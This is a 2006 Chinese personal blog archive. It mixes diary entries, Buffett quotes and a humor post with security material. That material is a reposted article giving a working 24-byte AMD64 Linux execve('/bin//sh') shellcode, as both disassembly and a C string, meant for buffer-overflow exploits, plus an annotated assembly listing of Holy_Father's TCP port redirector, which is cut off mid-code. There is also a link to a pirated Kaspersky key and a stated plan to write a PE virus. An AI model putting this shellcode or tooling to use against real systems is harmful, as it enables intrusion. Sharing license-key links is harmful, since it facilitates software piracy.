正在加载...
 
今天又猥琐了  

   可能是因为昨天考试郁闷的缘故,今天早上起来就无精打采的,大脑一片空白。不知道怎么想的,今天干了以下猥琐的事情
  1.本人经常使用代理登录一些IP限制的技术站,当然要经常搜索代理,验证代理了。
    今天,突然决定把验证地址改成偶BLOG地址,导致偶平静的BLOG无端出现很多
    国外IP访问。
  2.和图学继续爆发BT大战,NND,80块钱的路由器,他们还要用迅雷,本来转发
     包就慢,开了迅雷偶QQ都掉线。一怒之下,开了BT COMIT,VAGGA ,电骡
     导致PING值高达9000(PING GOOGLE只收到的唯一一个包)
  。。。。。。

标签:让人发泄的 | 浏览数(514) | 评论数(1) | 2006-11-29
卡巴6.0.1.411到2007.7.16的KEY  

地址:  
http://www.i170.com/attach/4C617F7F-4695-48FF-B5B0-B21BCB55B6F5

标签:让人发泄的 | 浏览数(774) | 评论数(1) | 2006-11-27
Rootkit author Killed  

 有人说holy-father死于车祸,而且他的论坛也不能发表评论了,往日的喧嚣已经不再,难道holy大牛真的死了?
看过holy在29A上发的很多西西,给偶启发很大。难道真的死了?郁闷........

hf = Holy Father, the guy who coded the " hxdef " Hacker Defender Rootkit, died recently in a car crash ! I wasn't convinced it was true at 1st, but i've since had it confirmed by " someone " who should know.

Whatever " some " people may think of him and his software, there's no doubt that he was talented. Not only that his RK's, software and info etc, all impacted on the way Operating Systems, AntiVirus etc companies had to start to change and begin to try and improve their security more seriously. A lot has happended over the years, but more often than not, it's too little too late ! Most of the improvements/suggestions and quality Apps etc, have come from smaller lesser known companies, and individuals.

Rootkits were around in small numbers before hxdef appeared on the scene, but it was the release of hxdef that made things a lot easier for more people to take advantage of this technology. Which indeed they did and have done so, in increasing numbers ever since. This led to others coding their own RK's etc, and it's taken some time, but now they are almost " mainstream " !

What needs to be remembered is that, RK's in themselves are not bad at all. It's the Payload that usually comes with it that can, and often does, do the damage etc. The RK's task is to hide/stealth both itself and the Payload. Not all RK's are 100% successful in doing both, or either, but even if the're not they can be very hard to detect and remove. So that's why RK's are a clever invention, however much we despise the Payloads for all they do !

So a chapter in PC history has ended tragically, and i have to say that hf wasn't evil etc, he just enjoyed the challenge. Whatever others did with his and similar Tech, wasn't of his doing ! A gun in itself doesn't do anything whatsoever, it has to be loaded by Someone. Then it has to be pointed and fired by them to do Any damage. The RK is the gun, and the Payload is the bullet.

An announcement will be made shortly over on his website - http://www.hxdef.org/


原帖http://forum.sysinternals.com/forum_posts.asp?TID=8772&PN=1

标签:让人发疯的 | 浏览数(478) | 评论数(0) | 2006-11-27
转帖一张-----A Short Shellcode for AMD64  

A Short Shellcode for AMD64

Marc Bevand
<bevand_m (at) epita.fr>
November 19, 2004

Download

shellcode-amd64.html - This article
shellcode-amd64.tar.bz2 - This article + Shellcode implementation

Updates

2004-12-05
The shellcode has been updated, its size has shrunk from 25 to 24 bytes.
2006-05-01
Added a note about the stack space required (Andreas Geiger). Improved formatting of the assembly/C listings.

Introduction

Extensive documentation can be found on the subject of shellcodes for the i386 (or IA32) architecture, but almost nothing seems to be currently available for the AMD64 architecture.

This article is going to present an AMD64 shellcode for the Linux kernel that is particularly short (24 bytes). We assume the reader already have basic knowledge about shellcodes and i386 architecture.

AMD64 Architecture ABI

The AMD64 architecture ABI specification can be obtained from http://www.amd64.org/documentation. A shellcode developer should be aware of the following main technical differences with respect to i386:

  • These registers are used for passing arguments to system calls: %rdi, %rsi, %rdx, %r10, %r8, %r9.
  • The instruction to make a system call is syscall.
  • The number of the syscall has to be passed in register %rax.
  • During system calls, the kernel destroys registers %rcx and %r11.

With this simple knowledge, a shellcode can be easily developed.

Shellcode

Here is a disassembly of the shellcode, as produced by objdump -d (with opcodes bytes at the beginning of the line):

6a 3b push $0x3b  
58 pop %rax # set %rax to 0x3b
99 cltd # %rdx (arg 3: envp) is set to 0
48 bb 2f 62 69 6e 2f 2f 73 68 mov $0x68732f2f6e69622f,%rbx # set %rbx to "/bin//sh"
52 push %rdx # push 0
53 push %rbx # push "/bin//sh"
54 push %rsp  
5f pop %rdi # %rdi (arg 1: path) points to "/bin//sh"
52 push %rdx # push 0
57 push %rdi # push ptr to path
54 push %rsp  
5e pop %rsi # %rsi (arg 2: argv) points to ["/bin//sh",0]
0f 05 syscall # execve(path,argv,envp)
  • push $0x3b and pop %rax set %rax to 0x3b, which is the syscall number for execve(). Syscall numbers can be found in /usr/src/linux/include/asm-x86_64/unistd.h.
  • cltd, also known as cdq, sign-extends %eax into %edx:%eax, but since %eax is 0x3b, this set %edx (actually %rdx) to 0. The 3rd argument of execve(), envp, will be %rdx.
  • mov $0x68732f2f6e69622f,%rbx stores the string "/bin//sh" into %rbx.
  • push %rdx and push %rbx stores our string followed by NUL bytes in the stack.
  • push %rsp and pop %rdi is equivalent to mov %rsp,%rdi but it uses less opcode bytes. %rdi now points to "/bin//sh". The 1st argument of execve(), path, will be %rdi.
  • push %rdx and push %rdi constructs our argv array in the stack.
  • push %rsp and pop %rsi, equivalent to mov %rsp,%rsi, stores a pointer to the argv array into %rsi. The 2nd argument of execve(), argv, will be %rsi.
  • syscall enters in kernel mode and processes the system call. Its 3 arguments are %rdi (path), %rsi (argv) and %rdx (envp), that is: execve("/bin//sh", ["/bin//sh", NULL], NULL). Linux indeed allows a NULL envp pointer.

The AMD64 shellcode presented above has a length of only 24 bytes. This makes it particularly useful when exploiting overflows of small buffers. Please note however that it uses 40 bytes of stack space; depending on the stack layout it might be a problem because the push operations can corrupt the shellcode itself. In such cases it is usually possible to add an instruction at the beginning of the shellcode that modifies %rsp to make it point to a safe area (e.g. add $40, %rsp).

Here is the shellcode represented as a C language string:

const char *shellcode = "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" "\x54\x5f\x52\x57\x54\x5e\x0f\x05";

However, you may prefer this more compact form:

const char *shellcode = "j;X\x99H\xbb/bin//shRST_RWT^\x0f\x05";

Conclusion

This article has given the reader a quick overview on the process of developing assembly code using the AMD64 Linux kernel calling conventions. As a practical exemple, a 24-byte shellcode has been presented and explained.

Thanks

I would like to thank those people for their comments and suggestions, in alphabetical order:

  • Andreas Geiger

标签:让人发疯的 | 浏览数(430) | 评论数(0) | 2006-11-25
今日无事发生,看官失望了吧  

  平静滴一天,宏观终于快复习完鸟,不过貌似组织行为学还没复习。突然觉得经济学还是挺有趣的,于是这几天关注了下新闻,PPSTREAM看的最多就是凤凰宽频,(前几天偶可是一直扎根在动漫频道滴)瞬时有一种大隐隐于市的感觉,什么都不知道。什么毒鸭蛋,毒鱼最近很热门的新闻,自己竟然一点都不清楚,郁闷,偶还是学管理滴了,没脸活了。看来要分出一部分精力来关注社会上的事件了。毕竟自己不想做技术,太累了,好容易体重突破100斤,则能让他就这么燃烧没了
  近期计划:学习提权,写一个PE病毒的DEMO,继续读29A并调试里面的代码,读一读经济杂志(发现《经济学人》不错),还有就是四处吹牛,到处晃悠,偷听牛牛们讲话(够猥琐吧),差点忘了,还要四处惹事,让论坛拍砖横飞~~~

标签:让人发泄的 | 浏览数(471) | 评论数(0) | 2006-11-22
沃伦-巴菲特的12条忠告  

1、我绝不会丢掉我所熟悉的投资策略,尽管这种方法现在很难在股市上赚到钱,但我不会去采用自己不了解的投     资方法。这些方法未经理论验证过,有可能产生大亏损的风险。

2、当市场供应量不足的时候,我们加入大量的供应量;当市场供应量充裕的时候,我们便较少参与竞争。当然,     我们不是因为要做稳定剂而遵循这个策略,我们只是相信`最有利的企业经营方法。

3、评估一个人时,你必须看准他的三个特质:正直`智力和活力。然而如果缺乏了第一项,只有另外二项,那么     另外两项就会害死你。

4、我有15%像费雪,85%像本杰明.格兰厄姆。他们都不摆架子,心胸宽阔,都是杰出的老师。他们于投资界是     非常重要的。

5、当人们因贪婪或者受到惊吓的时候,他们时常会以愚蠢的价格买进或卖出股票。某些股票的长期价格是取决与     企业的经济发展,而不是每天的市场行情。

6、投资人总想买进太多的股票,却不愿意耐心等待一家真正值得投资的好公司。每天抢进抢出不是聪明办法。近乎怠惰地按兵不动,正是我们一贯的投资风格。

7、因为我把自己当成是企业经营者,所以我能成为更优秀的投资人;因为我把自己当成是投资人,所以我能成为     更优秀的企业经营者。

8、只要企业的股东权益报酬率充满希望并令人满意,或管理者能胜其职务而且诚实,同时市价也没有高估此企      业,那么我相当满足于长期持有此企业的任何债卷。

9、在任何可以选择的时机里,我只是寻找一些税后报酬率高的股票投资。

10、总而言之,我寻找引人注目的公司。该公司必须由维护股东权益的管理人员来运营,且公司的股价必须有吸       引力。

11、当人们对一些大环境事件的忧虑升到最高点时,事实上也就是我们做成交易的时机。恐惧是追赶潮流者的大       敌,却是看重基本面的财经分析者的密友。

12、我从事投资的时候,主要观察一家公司的全貌,而大多数的投资人只盯着它的股价。

浏览数(691) | 评论数(0) | 2006-11-21
一个MM对笔记本的妙用  





前天逛国美,看见人家三星的双开门冰箱好口水哦~~~
  没关系~~~咱们自己打造一个:



喝了好多年自来水了,变个饮水机:



广告上发现菲利普的流光异彩真的好美~~~~
  赶快~~~~给自己备一个~~~~~
  好东西啊,背景墙的灯省了~~~



这两天洗衣服,出了好多水泡~~~~不行~~~洗衣机要来一个~~
  还要滚筒的~~~~洗的干净~~~



都说现在的女生懒~~~其实我很爱做饭的~~~~
  天然气烟太大~~对皮肤不好~~~我选电磁的~~~~
  锅自然是不沾锅了~~


家里脏了要经常打扫,吸尘器是必不可少的!!!



做为一个有为的MOP青年,怎么能没有一辆BMW呢



很可惜~~~我的BMW总是坏~~~谁能帮我看看 是啥问题啊?
  嘿嘿嘿~~


如果有的图片盗链失败了:'(  ,http://club.ppstream.com/topic/10008/215595/1.html 这个帖子盗链成功拉,0_o

浏览数(455) | 评论数(0) | 2006-11-21
i'm a pig,stupid pig(注释的转发程序,感谢XX总,热情加上题目)  

////////////////////////////////////////////////////////////////////////////////////

注释了holy_father写的这个端口转发的程序,虽然注释了大部分代码,本人还是不敢说把代码完全

搞懂了,比如转发的过程偶就不是很明白,如果那个大牛了解这个程序端口转发的过程,请指导偶一

下下,如果那个朋友有不懂得地方或者发现偶注释错误的地方,欢迎email偶

goblin.azrael@yahoo.com.cn

//////////////////////////////////////////////////////////////////////////////////


;====================[ The Smallest TCP Port Redirector ]=======================
;
;
;programmed by Holy_Father <holy_father@phreaker.net>
;Copyright (c) 2000,forever ExEwORx
;birthday: 8.9.2002
;version: 1.0
;
;compiled with MASM 6.14 with ALIGN:4
;total size: 2512b
;write no output, silently terminates when error
;it is multithreaded and stable on Windows NT 4.0, Windows 2000 and Windows XP
;
;usage: sredir.exe listen_on_port redir_to_ip redir_to_port
; redir_to_ip must be IP address in A.B.C.D format
;      no DNS implemented
;
;example: sredir.exe 100 212.80.76.18 80
;
;no other comments, cuz code is comment :)
;

.386p
.model flat, stdcall

include kernel32.inc
include winsock2.inc

LocalAlloc  PROTO :DWORD,:DWORD
LocalFree  PROTO :DWORD
ExitThread  PROTO :DWORD
ExitProcess   PROTO :DWORD
GetCommandLineA  PROTO
Sleep    PROTO :DWORD
CloseHandle  PROTO :DWORD
CreateThread  PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
TerminateThread  PROTO :DWORD,:DWORD
WaitForMultipleObjects  PROTO :DWORD,:DWORD,:DWORD,:DWORD

bind   PROTO :DWORD,:DWORD,:DWORD
listen   PROTO :DWORD,:DWORD
recv   PROTO :DWORD,:DWORD,:DWORD,:DWORD
send   PROTO :DWORD,:DWORD,:DWORD,:DWORD
closesocket  PROTO :DWORD
inet_addr  PROTO :DWORD
WSAIoctl  PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,
         :DWORD,:DWORD
WSAStartup   PROTO :DWORD,:DWORD
WSACleanup   PROTO
WSACreateEvent  PROTO
WSASocketA  PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
WSAConnect  PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
WSAEnumNetworkEvents PROTO :DWORD,:DWORD,:DWORD
WSAAccept  PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
WSAEventSelect  PROTO :DWORD,:DWORD,:DWORD
WSAWaitForMultipleEvents PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD

SOMAXCONN  equ 07FFFFFFFh
IPPROTO_TCP  equ 006h
SOCK_STREAM  equ 001h
AF_INET   equ 002h
FIONREAD  equ 04004667Fh
WAITFOREVENTSTIMEOUT equ 0FAh
WSA_WAIT_TIMEOUT equ 00102h
SOCK_ADDR_SIZE  equ 010h
FD_READ   equ 001h
FD_ACCEPT  equ 008h
FD_CLOSE  equ 020h
FD_ALL_EVENTS  equ 003FFh
LMEM_FIXED  equ 000h

.data

.code
start:
 mov ebp,esp          
 sub esp,001ECh;  保存一段堆栈空间
 lea eax,[ebp-01ECh];指向WSADATA的指针
 push eax
 push 0202h
 call WSAStartup; 启动socket
 test eax, eax   ;测试
 jnz @end    
        
 xor eax,eax       ;得到命令行参数
 call GetCommandLineA
 mov esi,eax      ;保存指针到esi
 xor eax,eax     
 lodsb              ;将命令行参数的第一个字节装入eax
 cmp al,022h      ;是否含有该死的"
 setz al          
 mov [ebp-004h],eax  ;将第一个字符保存到堆栈中
 @Next_char:
 lodsb                 ;装入下个字节
 test eax,eax         ;是否已经到达末尾
 jz @end               ;是。跳
 sub al,020h         ;是否为空格?
 jz @Space_found       ;是,跳 处理空格
 dec eax             ;是否是一个.
 dec eax
 setnz al              ;是就屏蔽掉
 and [ebp-004h],eax  ;
 jmp @Next_char     

 @Space_found:
 cmp byte ptr [ebp-004h],000h    ; 测试是否是尾部
 jnz @Next_char                 ;不是,找到一个参数

 call @Find_arg                
 mov edi,esi                    ;将edi设置为字符串指针
 push 020h                       ;为eax赋值
 pop eax 
 call @arg_len                  ;调用函数,得到参数长度
 mov ecx,eax                   ;保存字符串长度
 lea edi,[ebp-0100h]          
 push edi
 rep movsb                     ;将参数移动到堆栈
 mov [edi],cl                  ;为字符串加个null
 call @IntToStr              
 mov [ebp-004h],eax            ;把eax存入堆栈
 inc eax                      
 jz @end                         ;如果是0则字符串转化时出现错误,跳
 inc edi                       ;修改edi指针,查找下一个参数
 push edi
 call @Find_arg               
 xchg esi,edi
 push 020h
 pop eax
 call @arg_len       ;---------------+
 mov ecx,eax        ;               +
 xchg esi,edi        ;               +
 rep movsb          ;               +
 mov [edi],cl       ;               +
 call inet_addr;     ;               +
 mov [ebp-008h],eax ;               +
 inc eax            ;               +
 jz @end              ;               +
 call @Find_arg      ;               +
 inc edi            ;               +
 push edi            ;               +
 xchg esi,edi        ;               +
 xor eax,eax        ;               +
 call @arg_len       ;               +
 mov ecx,eax        ;               +-------下面的查找过程,和上面基本一直,不在废话鸟~
 xchg esi,edi        ;               +
 rep movsb          ;               +
 mov [edi],cl       ;               +
 call @IntToStr      ;               +
 mov [ebp-00Ch],eax ;               +
 inc eax            ;               +
   jz @end              ;               +
  
 mov eax,[ebp-00Ch] ;               +
 shl eax,010h       ;               +
 mov ax,[ebp-004h]  ;               +
 push eax            ;               +
 push dword ptr [ebp-008h]
 call @Server        ;               +
 @end:       
 call WSACleanup;    ;               +
 push 000h           ;               +
 call ExitProcess;   ;---------------+            

 @IntToStr:
 push esi         ;保存参数指针             
 xor eax,eax    ;清空eax,edx
 xor edx,edx
 mov esi,[esp+008h]      ;将edi的值存入esi。如果问为什么,自己去算下
 @IntToStr_next_char:
 lodsb                    ;像eax中装入一个字节
 test eax,eax            ;是否到达null
 jz @IntToStr_end         ;日,到了,跑路
 imul edx,edx,00Ah       ;edx=edx*10
 cmp al,030h            ;al是否为0
 jb @IntToStr_error       ;汗比0还小,跳
 cmp al,039h            ;是否为9
 ja @IntToStr_error       ;汗,比九大跳
 sub eax,030h          
 add edx,eax            ;转换完成
 jmp @IntToStr_next_char ;处理下一个字符
 @IntToStr_error:
 xor edx,edx            ;清空edx
 dec edx            
 @IntToStr_end:          
 mov eax,edx     
 pop esi
 ret

 @arg_len:    ;@arg -> edi, char -> eax
 push edi          ;指向参数的字符串
 xor ecx,ecx     
 dec ecx           ;比较是否已经到达空格,没有则重复
 repnz scasb        ;
 not ecx          ;这里说明一下,ecx为什么要设为-1,因为偶们的指针现在指向的是参数的尾部
 dec ecx          ;偶们要采取逆序的方法查找前一个空格,故设为负值在求反减1就能得到长度
 mov eax,ecx      ;如果不这样做,而采用调整指针,会浪费很多代码,不利于优化,这段代码值得大家学习的说
 pop edi
 ret

 @Find_arg:    ;str -> esi -> esi
  lodsb
  cmp al,020h
  jz @Find_arg
  dec esi
  ret

 @Server:              
 push ebp
 mov ebp,esp
 sub esp,034h          

; -030  - NewClient.Host.sin_family:Word
; -02E  - NewClient.Host.sin_port:Word
; -02C  - NewClient.Host.sin_addr:TInAddr
; -028..-024 - NewClient.Host.sin_zero:array[0..7] of Char
; -020  - NewClient.Socket:TSocket
; -01C  - TID:Cardinal;
; -018  - ServerEventHandle:THandle
; -014  - ServerHost.sin_family:Word
; -012  - ServerHost.sin_port:Word
; -010  - ServerHost.sin_addr:TInAddr
; -00C..-008 - ServerHost.sin_zero:array[0..7] of Char
; -004  - ServerSocket:TSocket
; +008  - FinalAddr:TInAddr
; +00C  - ListenPort:Word
; +010  - FinalPort:Word

 push esi
 push edi
 push ebx

 xor eax,eax
 mov [ebp-010h],eax              ;WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0)
 push eax                         ;建立一个套接字
 push eax
 push eax
 push IPPROTO_TCP
 push SOCK_STREAM
 push AF_INET
 call WSASocketA
 mov [ebp-004h],eax             ;讲套接字保存到堆栈
 inc eax                         ;是否建立失败,是,跳
 jz @Server_end

 mov eax,[ebp+00Ch]              ;将监听端口转换为网络顺序
 xchg ah,al                   
 mov [ebp-012h],ax              
 mov word ptr [ebp-014h],AF_INET ;使用IP地址家族

 push 010h                            
 lea eax,[ebp-014h]                 
 push eax
 push dword ptr [ebp-004h]
 call bind;                        绑定端口 bind(s,&serverhost.sin_family,10)实际上第二个参数中必须包含sin_family即可,故写为这种样子
 inc eax                          ;是否失败,是,跳
 jz @Server_end
 push SOMAXCONN                  
 push dword ptr [ebp-004h]
 call listen;                      监听端口listen(s,SOMAXCONN) 队列长度设为最大
 jnz @Server_end
 @Server_loop:                  
 lea eax,[ebp-018h]              ;进入事件循环
 push eax                         ;压入事件句柄
 push [ebp-004h]                  ;套接字
 call @EventSelect                ;选择要处理的事件
 test eax,eax                     ;失败?跳
 jz @Server_end 
 push [ebp-018h]                  ;再次压入句柄和套接字
 push [ebp-004h]       
 call @WaitForEvents              ;等待事件
 test eax,eax                     ;测试下 WSANETWORKEVENTS是否已经接收到数据
 jnz @Server_proc_events
 push 019h                        ;没有则休息下。避免占用资源,偶则跳,处理事件去鸟~~~~~
 call Sleep
 jmp @Server_loop                ;循环等待
 @Server_proc_events:
 and eax,FD_ACCEPT               ;是否是FD_ACCEPT事件
 jz @Server_loop                   ;不是,继续进入事件循环,等待下个事件
 xor eax,eax                     ;oh ,yeah!!!!!!!终于等到了
 push eax
 push eax
 push eax
 lea eax,[ebp-030h]              ;客户端IP地址
 push eax                  
 push dword ptr [ebp-004h]        ;偶们创建的套接字
 call WSAAccept;                 ;接收事件
 mov [ebp-020h],eax              ;把为客户端创建的套接字保存到缓冲区
 inc eax                         ;创建失败?继续进入事件循环
 jz @Server_loop            
 push 01Ch                
 push LMEM_FIXED
 call LocalAlloc;                  分配一个固定的内存
 test eax,eax                     ;分配失败?关闭套节字
 jz @Server_close_newsock
 mov ecx,[ebp-020h]              ;客户端套接字存入内存中
 mov [eax],ecx         
 lea esi,[ebp-030h]              ;取客户端地址
 lea edi,[eax+004h]              ;貌似要修改新套接字中的地址了,其实偶这里比较糊涂,只是从代码上推断
 movsd                             ;
 movsd                             ;---------开始修改
 movsd                             ;
 movsd                             ;    
 lea esi,[ebp+008h]              ;修改FinalAddr,晕这是什么?????????????????、
 movsd
 movsd

 lea ecx,[ebp-01Ch]             ;取线程ID指针,看来要对线程动手了:)
 push ecx                        ;压
 xor ecx,ecx
 push ecx
 push eax                        ;压入分配的内存
 push offset @NewClientThread    ;压入线程参数地址
 push ecx                       
 push ecx
 call CreateThread;              bingo,创建线程
 jmp @Server_loop               ;该事件处理完毕,继续进入事件循环,等待下一个事件
 @Server_close_newsock:
 push dword ptr [ebp-020h]
 call CloseSocket
 jmp @Server_loop
 @Server_end:
 push dword ptr [ebp-018h]
 call CloseHandle
 push dword ptr [ebp-004h]
 call CloseSocket
 jmp @end

 @EventSelect:
 call WSACreateEvent;建立一个时间  WSACreateEvent(VOID)
 test eax,eax      ;测试是否建立成功
 jz @EventSelect_fail ;失败则退出
 mov ecx,[esp+008h] ;
 mov [ecx],eax       ;保存事件指针

 push FD_ALL_EVENTS
 push eax
 push [esp+00Ch]
 call WSAEventSelect;筛选事件 WSAEventSelect(S,Thanlde,FD_ALL_EVENT)
 inc eax
 jnz @EventSelect_end ;测试是否失败,失败就跳
 @EventSelect_fail:
 xor eax,eax
 @EventSelect_end:
 ret 008h         ;平衡堆栈

 @WaitForEvents: 
 push ebp        
 mov ebp,esp
 sub esp,02Ch
 push 000h                            ;函数返回后,完成的例程不被执行
 push WAITFOREVENTSTIMEOUT           
 push 000h                            ;一接到信号就返回
 lea eax,[ebp+00Ch]            
 push eax                             ;设置事件句柄数组
 push 1                               ;指定一个数组
 call WSAWaitForMultipleEvents;       ;;;;;;;;;;;;;;;;这个函数没用过,所以不能说清楚,看MSDN把自己
  inc eax                        
 jz @WaitForEvents_end                 ;失败就跳
 sub eax,WSA_WAIT_TIMEOUT+1          ;测试下是否是超时返回(不清楚)
 jz @WaitForEvents_end
 lea eax,[ebp-02Ch]                  ;为WSANETWORKEVENTS分配个缓冲区,不知道能不能溢出,挖嘎嘎~~~~
 push eax                             ;一个缓冲区 
 push dword ptr [ebp+00Ch]            ;世界安句柄
 push dword ptr [ebp+008h]            ;套接字
 call WSAEnumNetworkEvents
 inc eax                            
 jz @WaitForEvents_end                 ;出错?跳
 mov eax,[ebp-02Ch]                  ;WSANETWORKEVENTS的指针装入eax
 @WaitForEvents_end:
 leave                                  ;平衡堆栈
 jmp @EventSelect_end                 ;******************************终于注释完了最乱的一段了************************

 @NewClientThread:
 mov ebp,esp
 sub esp,070h

; -070  - RedirThreadHandle:THandle
; -06C  - ClientThreadHandle:THandle
; -068  - Redir.ThreadArgs.MainItem:PTcpItem
; -064  - Redir.ThreadArgs.OtherItem:PTcpItem
; -060  - Redir.ThreadArgs.ThreadType:Cardinal
; -05C  - Redir.ThreadArgs.Events:Longint
; -058  - Redir.ThreadArgs.EventHandle:THandle
; -054  - Redir.ThreadArgs.Active:Boolean
; -050  - Redir.ThreadArgs.Host.sin_family:Word
; -04E  - Redir.ThreadArgs.Host.sin_port:Word
; -04C  - Redir.ThreadArgs.Host.sin_addr:TInAddr
; -048..-044 - Redir.ThreadArgs.Host.sin_zero:array[0..7]
; -040  - Redir.ThreadArgs.Socket
; -038  - Redir.ThreadID:Cardinal
; -034  - Client.ThreadArgs.MainItem:PTcpItem
; -030  - Client.ThreadArgs.OtherItem:PTcpItem
; -02C  - Client.ThreadArgs.ThreadType:Cardinal
; -028  - Client.ThreadArgs.Events:Longint
; -024  - Client.ThreadArgs.EventHandle:THandle
; -020  - Client.ThreadArgs.Active:Boolean
; -01C  - Client.ThreadArgs.Host.sin_family:Word
; -01A  - Client.ThreadArgs.Host.sin_port:Word
; -018  - Client.ThreadArgs.Host.sin_addr:TInAddr
; -014..-010 - Client.ThreadArgs.Host.sin_zero:array[0..7]
; -00C  - Client.ThreadArgs.Socket
; -008  - Client.ThreadArgs.Connected
; -004  - Client.ThreadID:Cardinal
; +004  - AArgs:Pointer
;  +000  AArgs.NewSocket
;  +004  AArgs.NewHost.sin_family:Word
;  +006  AArgs.NewHost.sin_port:Word
;  +008  AArgs.NewHost.sin_addr:TInAddr
;  +00C..+010 AArgs.NewHost.sin_zero:array[0..7] of Char
;  +014  AArgs.FinalAddr:TInAddr
;  +018  AArgs.ListenPort:Word
;  +01A  AArgs.FinalPort:Word

 xor eax,eax
 lea edi,[ebp-070h]
  push 01Ch                       
 pop ecx          
 rep stosd            ;初始化堆栈0x70-0x54的部分

 push eax
 push eax
 push eax
 push IPPROTO_TCP
 push SOCK_STREAM
 push AF_INET
 call WSASocketA;       建立一个client套接字 WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0)
 mov [ebp-00Ch],eax
 inc eax
 jz @NewClientThread_close_newsock;创建错误,清理

 push 001h       
 pop eax           ;为eax赋值
 mov [ebp-020h],eax;将BOOLEN值都设为真
 mov [ebp-054h],eax
 mov [ebp-060h],eax

 mov edx,[ebp+004h];   把新套接字的指针装入edx
 movzx ax,byte ptr [edx+01Ah]
 xchg ah,al             ;转为网络地址
 mov [ebp-01Ah],ax     ;送回到缓冲区中
 mov word ptr [ebp-01Ch],AF_INET  ;使用IP地址家族
 mov eax,[edx+014h]               ;把新套接字的地址入eax
 mov [ebp-018h],eax               ;存入缓冲区
 mov eax,[edx]                   
 mov [ebp-040h],eax               ;新套接字存入缓冲区
 lea esi,[edx+004h]               ;新套接字地址移动到缓冲区
 lea edi,[ebp-050h]
 movsd          ;--------------------------+
 movsd          ;                          +-----------开始移动
 movsd          ;                          +
 movsd          ;--------------------------+

 lea eax,[ebp-058h]               ;取事件句柄地址
 push eax                          ;压入
 push dword ptr [ebp-040h]         ;原来的那个套接字
 call @EventSelect                 ;暴汗!!!!!!怎么又进入事件体了
 test eax,eax
 jz @NewClientThread_close_clientsock

 lea eax,[ebp-068h]               ;取PTcpItem看来要替换TCP里的西西了,继续看他干什么,不过ptcpitem里面不是0吗??
 mov [ebp-030h],eax               ;把地址装入了客户端的otheritem.PTcpItem
 mov [ebp-068h],eax               ;地址又回送了,看来构造了个指向指针的指针
 lea eax,[ebp-034h]               ;取客户端mainitem.ptcpitem地址
 mov [ebp-034h],eax               ;再次构造了一个指针指针
 mov [ebp-064h],eax               ;送入otheritem.ptcpitem中;           看来运行后,地址被替换了other->main main->other
                                      ;他要干什么???????
 lea eax,[ebp-004h]               ;客户端线程ID地址
 push eax
 push 000h
 lea eax,[ebp-034h]               ;压入MainItem:PTcpItem地址
 push eax
 push offset @ThreadProc           ;压入线程处理函数地址
 push 000h                        
 push 000h
 call CreateThread;                晕迷~~~又建了个线程
 test eax,eax
 jz @NewClientThread_close_clientsock
 mov [ebp-06Ch],eax              ;保存客户端线程句柄

 push 019h
 call Sleep                       ;终于休息了,防止占用过多的资源
 lea eax,[ebp-038h]
 push eax                        
 push 000h
 lea eax,[ebp-068h]
 push eax
 push offset @ThreadProc
 push 000h
 push 000h
 call CreateThread;                再次创建线程,是不是他打算为接受和转发个创建一个线程
 test eax,eax
 jz @NewClientThread_term_clientthread
 mov [ebp-070h],eax               ;句柄保存

 push -001h
 push 000h
 lea eax,[ebp-070h]
 push eax
 push 002h
 call WaitForMultipleObjects;      有是这个偶不熟悉的API,不多说了,避免误人子弟
 xor eax,eax
 mov [ebp-054h],eax               ;如果句柄创建成功就保存参数
 mov [ebp-020h],eax
 mov [ebp-008h],eax
 push 032h                        ;休息
 call Sleep

 push dword ptr [ebp-040h] ;清理套接字,主套接字和新套接字
 call CloseSocket
 push dword ptr [ebp-00Ch]
 call CloseSocket

 push 0FAh   ;防止线程退出过快,呼呼一段时间,给系统清理的时间
 call Sleep

 push 000h   ; 终止线程,个人认为这是一种比较不好的退出线程的方法,建议看下win32多线程编程
 push dword ptr [ebp-070h]
 call TerminateThread;------------------------------------------+
 @NewClientThread_term_clientthread:;                              +
 push 000h            ;                                         +
 push dword ptr [ebp-06Ch]:             ;                       +
 call TerminateThread;                                          +
 @NewClientThread_close_clientsock:;                               +
 push dword ptr [ebp-00Ch];                                     +----------线程和套接字清理的西西,没什么好说的
 call CloseSocket;                                              +
;                                                                  +
 push dword ptr [ebp-058h];                                     +
 call CloseHandle;                                              +
 push dword ptr [ebp-024h];                                     +
 call CloseHandle;----------------------------------------------+

 @NewClientThread_close_newsock:
 mov eax,[ebp+004h] 
 push dword ptr [eax]
 call CloseSocket
 push dword ptr [ebp+004h]
 call LocalFree;释放内存
 push 000h
 call ExitThread;清理线程

 @ThreadProc:
 mov ebp,esp
 sub esp,00Ch

; -00C  - LBuffer:Pointer
; -008  - LBytes:Cardinal
; -004  - LSocket:TSocket
; +004  - AArgs:Pointer
;  +000  AArgs.ThreadArgs.MainItem:PTcpItem
;  +004  AArgs.ThreadArgs.OtherItem:PTcpItem
;  +008  AArgs.ThreadArgs.ThreadType:Cardinal
;  +00C  AArgs.ThreadArgs.Events:Longint
;  +010  AArgs.ThreadArgs.EventHandle:THandle
;  +014  AArgs.ThreadArgs.Active:Boolean
;  +018  AArgs.ThreadArgs.Host.sin_family:Word
;  +01A  AArgs.ThreadArgs.Host.sin_port:Word
;  +01C  AArgs.ThreadArgs.Host.sin_addr:TInAddr
;  +020..+024 AArgs.ThreadArgs.Host.sin_zero:array[0..7]
;  +028     AArgs.ThreadArgs.Socket
;  +02C     AArgs.ThreadArgs.Connected - client only
 
 mov esi,[ebp+004h]
 mov eax,[esi+008h]
 test eax,eax
 jnz @ThreadProc_redir ;这两个值是否相等,不等?修正
 mov eax,[esi+02Ch]   ;测试客户端是否被连接
 test eax,eax
 jnz @ThreadProc_client_connected
 push eax
 push eax
 push eax
 push eax
 push SOCK_ADDR_SIZE
 lea eax,[esi+018h]
 push eax
 push dword ptr [esi+028h]
 call WSAConnect;如果为0,调用WSAConnect进行连接
 inc eax
 jz @ThreadProc_error;连接错误?跳
 lea eax,[esi+010h]
 push eax
 push dword ptr [esi+028h]
